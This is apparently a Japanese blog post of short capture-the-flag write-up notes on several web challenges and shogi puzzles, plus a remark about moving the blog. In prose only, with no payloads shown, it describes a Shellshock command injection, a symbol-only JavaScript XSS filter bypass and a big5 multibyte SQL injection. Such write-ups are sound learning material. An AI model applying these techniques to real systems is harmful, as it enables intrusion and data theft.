これは怪しいと思って,そういえば自分で画像を作った時はなんかパスが違うだったなー,と思い,
そのパスで画像を表示してみるとなんか gif が出てきたので DL して preview で開いたらフラグがあった.

Network Tools

ページをみてみるとなんか bash のバージョン書いてある.
そういえば前に出た CTF で shellshock の問題があったなー,とおもって
適当に ls するものを埋め込んで ps とか実行してみたら flag のファイルがあったので cat した.

箱庭XSS

入力値が全部大文字になる,ということは色々入力しているとわかった.
html タグは大文字になっても有効だけど,js はダメ….
そういえば前に記号だけで js を書くとかいうネタをみたことがあったので,
調べてみて,その通りに alert を出すコードを書いたらフラグが出た.

YamaToDo

文字コードが指定できるので 5C 問題的な何かかな? と思うも sjis はブロックされている.
mysql に set できる文字コードで同じような問題が起きるものはないか? と思って調べていると,
big5 というのも起きるらしく「功」が該当文字であることがわかった.
あとはうまく SQL 文を組み立てて,最初のレコードを insert してみるもうまくいかず.
さらに調べてみると insert しているテーブルに副問い合わせする場合は,
as を使ってテーブルに別名をつけてあげないとうまく動かないらしい.
別名をつけてあげるとなんか文字化けしたレコードが追加された.
ここから全然わからなかったのだけど,ふとしたタイミングで間違って文字コードeuc-jp にしたらフラグになった.
すごい偶然だった.

箱庭XSS2

何も考えずに 箱庭XSS で使ったコード突っ込んだらフラグが出た.

兵法術

将棋詰め壱

将棋のサイトを見ながら頑張った.

将棋詰め弐

右上の座標の漢字が入れ替わってることに注意してやった.

将棋詰め参

頑張る

将棋詰め四

同上,ソルバでも書いたほうが良かったかも,というくらいには時間かかった.

移転

前のやつは大量に古いものもあってアレなので,
新しくアカウントごと作り直してみた.
いつものアカウント名がとれなかったのは残念….

最近は CTF にどっぷりなので write-up とか書いていきたい.